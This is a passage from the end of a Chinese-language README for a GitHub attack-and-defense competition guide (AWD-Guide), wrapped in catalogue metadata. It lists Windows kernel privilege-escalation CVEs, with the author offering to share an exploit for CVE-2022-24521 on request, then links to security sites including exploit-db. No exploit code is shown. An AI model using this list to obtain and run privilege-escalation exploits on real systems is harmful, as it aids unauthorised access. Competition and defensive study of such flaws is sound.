CVE-2023-35359（Windows内核权限提升漏洞，开源了）\n- CVE-2022-24521（没有Exp的可以找我要）\n- CVE-2019-1405\n- CVE-2019-1322\n- MS17-017（整型溢出漏洞）\n\n\n\n## 4# 参考链接\n\n- [http://freebuf.com/](http://freebuf.com/)\n- [https://blog.zgsec.cn/](https://blog.zgsec.cn/)\n- [https://paper.seebug.org/3044/](https://paper.seebug.org/3044/)\n- [https://www.anquanke.com/](https://www.anquanke.com/)\n- [https://www.exploit-db.com/](https://www.exploit-db.com/)\n- [http://www.bugscan.net/source/template/vulns/](http://www.bugscan.net/source/template/vulns/)\n- [https://xz.aliyun.com/t/12687](https://xz.aliyun.com/t/12687)\n\n\n\n## 5# 感谢各位师傅🙏\n\n## Stargazers\n\n[![Stargazers repo roster for @AabyssZG/AWD-Guide](http://reporoster.com/stars/AabyssZG/AWD-Guide)](https://github.com/AabyssZG/AWD-Guide/stargazers)\n\n\n## Forkers\n\n[![Forkers repo roster for @AabyssZG/AWD-Guide](http://reporoster.com/forks/AabyssZG/AWD-Guide)](https://github.com/AabyssZG/AWD-Guide/network/members)\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Faabysszg%2Fawd-guide","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Faabysszg%2Fawd-guide","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Faabysszg%2Fawd-guide/lists"}